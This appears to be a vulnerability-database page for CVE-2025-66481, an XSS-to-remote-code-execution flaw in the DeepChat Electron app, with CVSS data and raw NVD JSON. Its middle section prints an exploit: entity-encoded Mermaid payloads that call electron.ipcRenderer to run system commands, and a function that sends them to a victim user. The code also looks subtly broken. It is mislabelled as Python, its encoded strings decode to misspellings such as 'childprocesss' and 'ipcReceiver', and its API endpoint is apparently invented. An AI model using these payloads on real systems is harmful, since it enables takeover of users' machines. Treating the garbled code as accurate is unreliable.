CVE-2025-66481

Description

DeepChat is an open-source AI chat platform that supports cloud models and LLMs. Versions 0.5.1 and below are vulnerable to XSS attacks through improperly sanitized Mermaid content. The recent security patch for MermaidArtifact.vue is insufficient and can be bypassed using unquoted HTML attributes combined with HTML entity encoding. Remote Code Execution is possible on the victim's machine via the electron.ipcRenderer interface, bypassing the regex filter intended to strip dangerous attributes. There is no fix at time of publication.

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:thinkinai:deepchat:*:*:*:*:*:*:*:* - VULNERABLE

DeepChat <= 0.5.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-66481 PoC - DeepChat Mermaid XSS to RCE
// Target: DeepChat <= 0.5.1 (Electron app)

const maliciousMermaidPayload = `
flowchart TD
    A[<img src=x onerror=
    &#99;onst&#32;ipc&#61;window&#46;require&#40;&#39;electron&#39;&#41;&#46;ipcRenderer&#59;
    ipc&#46;send&#40;&#39;&#99;hild&#112;roc&#101;sss&#46;&#101;x&#101;&#99;&#39;,&#123;&#99;md&#58;&#39;calc&#101;x&#101;&#39;&#125;&#41;>
    A-->B
`;

// Alternative bypass using unquoted attributes with entity encoding:
const bypassPayload = `
flowchart LR
    A[<svg onload=
    &#101;val(atob('aXBjPXdpbmRvdy5yZXF1aXJlKCdlbGVjdHJvbicpLmlwY1JlY2VpdmVy'))>
    A-->B
`;

// Send via DeepChat message interface
async function exploit(targetUserId) {
    const response = await fetch('/api/chat/send', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
            to: targetUserId,
            type: 'mermaid',
            content: maliciousMermaidPayload
        })
    });
    return response.json();
}

exploit('victim_user_id');

// RCE via IPC - requires user interaction to trigger Mermaid render
// After XSS execution, attacker can:
// 1. Access electron.ipcRenderer
// 2. Send arbitrary messages to main process
// 3. Execute system commands via child_process.exec
// 4. Read/write files, exfiltrate data, establish persistence

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66481
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66481
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66481/
[4] VulDB https://vuldb.com/cve/CVE-2025-66481
[5] https://github.com/ThinkInAIXYZ/deepchat/security/advisories/GHSA-h9f5-7hhf-fqm4
[6] https://github.com/ThinkInAIXYZ/deepchat/security/advisories/GHSA-h9f5-7hhf-fqm4

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66481", "sourceIdentifier": "[email protected]", "published": "2025-12-09T01:16:55.140", "lastModified": "2025-12-11T18:47:33.520", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DeepChat is an open-source AI chat platform that supports cloud models and LLMs. Versions 0.5.1 and below are vulnerable to XSS attacks through improperly sanitized Mermaid content. The recent security patch for MermaidArtifact.vue is insufficient and can be bypassed using unquoted HTML attributes combined with HTML entity encoding. Remote Code Execution is possible on the victim's machine via the electron.ipcRenderer interface, bypassing the regex filter intended to strip dangerous attributes. There is no fix at time of publication."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-80"}, {"lang": "en", "value": "CWE-94"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:thinkinai:deepchat:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.5.1", "matchCriteriaId": "D827ED0C-D2C6-4D0A-B8F4-B448115E4F56"}]}]}], "references": [{"url": "https://github.com/ThinkInAIXYZ/deepchat/security/advisories/GHSA-h9f5-7hhf-fqm4", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}, {"url": "https://github.com/ThinkInAIXYZ/deepchat/security/advisories/GHSA-h9f5-7hhf-fqm4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory", "Exploit"]}]}}